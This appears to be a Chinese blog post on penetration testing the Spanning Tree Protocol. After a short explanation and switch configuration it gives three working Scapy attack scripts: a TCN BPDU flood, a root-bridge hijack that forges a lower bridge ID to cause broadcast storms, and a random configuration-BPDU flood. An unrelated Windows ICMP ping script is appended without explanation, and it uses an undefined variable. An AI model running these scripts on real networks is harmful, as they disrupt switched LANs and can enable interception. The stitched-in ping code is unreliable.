生成树协议渗透测试

#生成树协议
生成树算法的网桥协议STP(Spanning Tree Protocol) 它通过生成生成树保证一个已知的网桥在网络拓扑中沿一个环动态工作。网桥与其他网桥交换BPDU消息来监测环路,然后关闭选择的网桥接口取消环路,统指IEEE802·1生成树协议标准和早期的数字设备合作生成树协议,该协议是基于后者产生的。IEEE版本的生成树协议支持网桥区域,它允许网桥在一个扩展本地网中建设自由环形拓扑结构。IEEE版本的生成树协议通常为在数字版本之上的首选版本。
生成树协议的主要功能有两个:一是在利用生成树算法、在以太网络中,创建一个以某台交换机的某个端口为根的生成树,避免环路。二是在以太网络拓扑发生变化时,通过生成树协议达到收敛保护的目的。
配置生成树协议:

spanning-tree
spanning-tree mode stp
spanning-tree mst 0 priority 0

攻击生成树协议 STP TCN ATTACK 发送伪造TCN包 :

# -*- coding: utf-8 -*-

from scapy.layers.l2 import Dot3, LLC, STP
from scapy.all import sendp, RandMAC


# --------------------------------------------------------------------------
#                           STP TCN ATTACK
# --------------------------------------------------------------------------

def run(inter):
    """
    This function launch STP TCN ATTACK
    :param inter: interface to be launched the attack
    :type inter: str
    """

    interface = str(inter[0])
    if len(interface) > 0:
        try:
            while 1:
                # dst=Ethernet Multicast address used for spanning tree protocol
                srcMAC = str(RandMAC())     # Random MAC in each iteration
                p_ether = Dot3(dst="01:80:c2:00:00:00", src=srcMAC)
                p_llc = LLC()
                p_stp = STP(bpdutype=0x80)   # TCN packet
                pkt = p_ether/p_llc/p_stp   # STP packet structure

                sendp(pkt, iface=interface, verbose=0)

        except KeyboardInterrupt:
            pass


def run_attack(config):
    """ This function is used for launch the STP TCN attack
    :param config: GlobalParameters option instance
    :type config: `GlobalParameters`
    """
    run(config.interface)


stp_root_role.py 破坏树协议中的根的选择,导致广播风暴

import logging
logging.getLogger("scapy.runtime").setLevel(logging.WARNING)

from scapy.layers.l2 import LLC, STP, Dot3
from scapy.all import sendp,sniff,get_if_hwaddr,srp1,send



def run(interface):
    """
    This function launch STP ROOT ROLE  ATTACK
    :param interface: interface to be launched the attack
    :type interface: str
    """
    # sniff to found a stp packet
    pkt = sniff(stop_filter=lambda x: x.haslayer(STP), iface=interface)

    # Look for a STP packet to use a lower priority
    pk_list={x:y for x,y in pkt.sessions().iteritems() if "Other" in x}
    item=pk_list.popitem()
    pkts = item[1]


    for x in pkts:
        if STP in x:
            STP_packet = x
            break

    #myMAC = get_if_hwaddr(interface)

    #root_id = STP_packet.rootid - 1
    #bridge_id = STP_packet.bridgeid - 1

    rootMAC = STP_packet.rootmac
    bridgeMAC =STP_packet.bridgemac
    aux=False
    newMAC=''

    rootMAC=rootMAC[::-1]

    for x in range(len(rootMAC)):
        if (rootMAC[x] in '123456789abcdef') and not aux:
            n=int(rootMAC[x], 16)
            n-=1
            n=format(n, 'x')
            newMAC+=n
            aux=True
        else:
            newMAC+=rootMAC[x]
    rootMAC=newMAC[::-1]

    newMAC=''
    aux=False
    bridgeMAC=bridgeMAC[::-1]
    for x in range(len(bridgeMAC)):
        if (bridgeMAC[x] in '123456789abcdef') and not aux:
            n=int(bridgeMAC[x], 16)
            n-=1
            n=format(n, 'x')
            newMAC+=n
            aux=True
        else:
            newMAC+=bridgeMAC[x]
    bridgeMAC=newMAC[::-1]
    #brigdemac
    root_id = STP_packet.rootid
    bridge_id = STP_packet.bridgeid
    p_ether = Dot3(dst="01:80:c2:00:00:00", src=bridgeMAC)
    p_llc = LLC()

    p_stp = STP(bpdutype=0x00, bpduflags=0x01, portid=0x8002, rootmac=rootMAC, bridgemac=bridgeMAC,
                rootid=root_id, bridgeid=bridge_id)

    pkt = p_ether/p_llc/p_stp   # STP packet structure
    try:
        while 1:
            pkt_sniff=srp1(pkt, iface=interface, verbose=0, timeout=2)
            if pkt_sniff is not None:
                if STP in pkt_sniff:

                    if pkt_sniff[Dot3].src!=rootMAC:

                        p_stp_ack=STP(bpdutype=0x00, bpduflags=0x81, portid=0x8002, rootmac=rootMAC, bridgemac=bridgeMAC,
                        rootid=root_id, bridgeid=bridge_id)
                        pkt_ack= p_ether/p_llc/p_stp_ack
                        sendp(pkt_ack, iface=interface, verbose=0)


    except KeyboardInterrupt:
        pass



def run_attack(config):
    """ This function is used for launch the STP ROOT ROLE attack
    :param config: GlobalParameters option instance
    :type config: `GlobalParameters`

    """
    run(config.interface[0])
# -*- coding: utf-8 -*-

from scapy.layers.l2 import Ether, LLC, STP, Dot3
from scapy.all import sendp, RandMAC, RandInt


# --------------------------------------------------------------------------
#                         

# --------------------------------------------------------------------------

def run(inter):
    """
    This function launch STP CONF ATTACK
    :param inter: interface to be launched the attack
    :type inter: str
    """

    interface = str(inter[0])
    if len(interface) > 0:
        try:

            while 1:
                # Root Identifier 8 bytes (MAC and root priority)

                srcMAC = str(RandMAC())     # Random MAC in each iteration
                root_prior = RandInt() % 65536  # 2 bytes

                # Brigde Identifier (mac and brigde priority)
                brigde_prior = RandInt() % 65536  # 2 bytes

                # dst=Ethernet Multicast address used for spanning tree protocol
                p_ether = Dot3(dst="01:80:c2:00:00:00", src=srcMAC)
                p_llc = LLC()

                p_stp = STP(bpdutype=0x00, bpduflags=0x01, portid=0x8002, rootmac=srcMAC,
                            bridgemac=srcMAC, rootid=root_prior, bridgeid=brigde_prior)   # Conf packet

                pkt = p_ether/p_llc/p_stp   # STP packet structure

                sendp(pkt, iface=interface, verbose=0)

        except KeyboardInterrupt:
            pass


def run_attack(config):

    """ This function is used for launch the STP CONF attack
    :param config: GlobalParameters option instance
    :type config: `GlobalParameters`

    """
    run(config.interface)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 2016-04-07
# ping for Windows

import os
import sys
import socket
import struct
import select
import time
import ctypes

ICMP_ECHO_REQUEST = 8

def receive_ping(my_socket, ID, timeout):
    """
    receive the ping from the socket
    """
    start_time = timeout
    while True:
        start_select = time.clock()
        # select.select(rlist, wlist, xlist[, timeout])
        # wait until ready for read / write / exceptional condition
        # The return value is a triple of lists
        what_ready = select.select([my_socket], [], [], start_time)
        how_long = (time.clock() - start_select)
        if what_ready[0] == []: #timeout
            return

        time_received = time.clock()
        # socket.recvfrom(bufsize[, flags])
        # The return value is a pair (string, address)
        rec_packet, addr = my_socket.recvfrom(1024)
        icmp_header = rec_packet[20 : 28]
        ip_type, code, checksum, packet_ID, sequence = struct.unpack("bbHHh", icmp_header)
        if ip_type != 8 and packet_ID == ID: # ip_type should be 0
            byte_in_double = struct.calcsize("d")
            time_sent = struct.unpack("d", rec_packet[28 : 28 + byte_in_double])[0]
            return time_received - time_sent

        start_time = start_time - how_long
        if start_time <= 0:
            return


def get_checksum(source):
    """
    return the checksum of source
    the sum of 16-bit binary one's complement
    """
    checksum = 0
    count = (len(source) / 2) * 2
    i = 0
    while i < count:
        temp = ord(source[i + 1]) * 256 + ord(source[i]) # 256 = 2^8
        checksum = checksum + temp
        checksum = checksum & 0xffffffff # 4,294,967,296 (2^32)
        i = i + 2

    if i < len(source):
        checksum = checksum + ord(source[len(source) - 1])
        checksum = checksum & 0xffffffff

    # 32-bit to 16-bit
    checksum = (checksum >> 16) + (checksum & 0xffff)
    checksum = checksum + (checksum >> 16)
    answer = ~checksum
    answer = answer & 0xffff

    # why? ans[9:16 1:8]
    answer = answer >> 8 | (answer << 8 & 0xff00)
    return answer

def my_get_checksum(source):
    """
    ~ then add
    """
    checksum = 0
    count = (len(source) / 2) * 2
    i = 0
    while i < count:
        temp = ord(source[i + 1]) * 256 + ord(source[i]) # 256 = 2^8
        checksum = checksum + (~temp & 0xffffffff)
        i = i + 2

    if i < len(source):
        temp = ord(source[len(source) - 1])
        checksum = checksum + (~temp & 0xffffffff)

    # 32-bit to 16-bit
    checksum = (checksum >> 16) + (checksum & 0xffff)
    checksum = checksum + (checksum >> 16)
    return checksum


def send_ping(my_socket, ip_addr, ID):
    """
    send ping to the given ip address
    """
    ip = socket.gethostbyname(ip_addr)

    # Header is type (8), code (8), checksum (16), id (16), sequence (16)
    my_checksum = 0

    # Make a dummy heder with a 0 checksum
    # struct.pack(fmt, v1, v2, ...)
    # Return a string containing the values v1, v2, ... packed
    # according to the given format.
    # b:signed char, h:short 2, H:unsigned short 2
    header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, my_checksum, ID, 1)
    # struct.calcsize(fmt)
    # Return the size of the struct corresponding to the given format.
    byte_in_double = struct.calcsize("d") # C type: double
    data = (192 - byte_in_double) * "P" # any char is OK, any length is OK
    data = struct.pack("d", time.clock()) + data

    # Calculate the checksum on the data and the dummy header.
    my_checksum = get_checksum(header + data)

    # It's just easier to make up a new header than to stuff it into the dummy.
    # socket.htons(x)
    # Convert 16-bit positive integers from host to network byte order.
    header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), ID, 1)
    packet = header + data
    # my_socket.sendto(packet, (ip, 1)) # getsockaddrarg() takes exactly 2 arguments
    my_socket.sendto(packet, (ip, 80)) # it seems that 0~65535 is OK (port?)


def ping_once(ip_addr, timeout):
    """
    return either delay (in second) or none on timeout.
    """
    # Translate an Internet protocol name to a constant suitable for
    # passing as the (optional) third argument to the socket() function.
    # This is usually only needed for sockets opened in “raw” mode.
    icmp = socket.getprotobyname('icmp')
    try:
        # socket.socket([family[, type[, proto]]])
        # Create a new socket using the given address family(default: AF_INET),
        # socket type(SOCK_STREAM) and protocol number(zero or may be omitted).
        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)
    except socket.error:
        raise

    # Return the current process id.
    # int: 0xFFFF = -1, unsigned int: 65535
    my_ID = os.getpid() & 0xFFFF

    send_ping(my_socket, ip_addr, my_ID)
    delay = receive_ping(my_socket, my_ID, timeout)

    my_socket.close()
    return delay


def icmp_ping(ip_addr, timeout = 2, count = 4):
    """
    send ping to ip_addr for count times with the given timeout
    """
    for i in range(count):
        print 'ping ' + cmd,
        try:
            delay = ping_once(ip_addr, timeout)
        except socket.gaierror, e:
            print "failed. (socket error: '%s')" % e[1]
            break

        if delay == None:
            print 'failed. (timeout within %s second.)' % timeout
        else:
            print 'get reply in %0.4f ms' % (delay * 1000)


# main
if __name__ == '__main__':
    if ctypes.windll.shell32.IsUserAnAdmin() == 0:
        print 'Sorry! You should run this with administrative privileges.'
        sys.exit()

    while True:
        try:
            cmd = raw_input('Please input the ip address you want to ping: ')
            if cmd == '':
                break
            icmp_ping(cmd)
        except EOFError:
                break
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值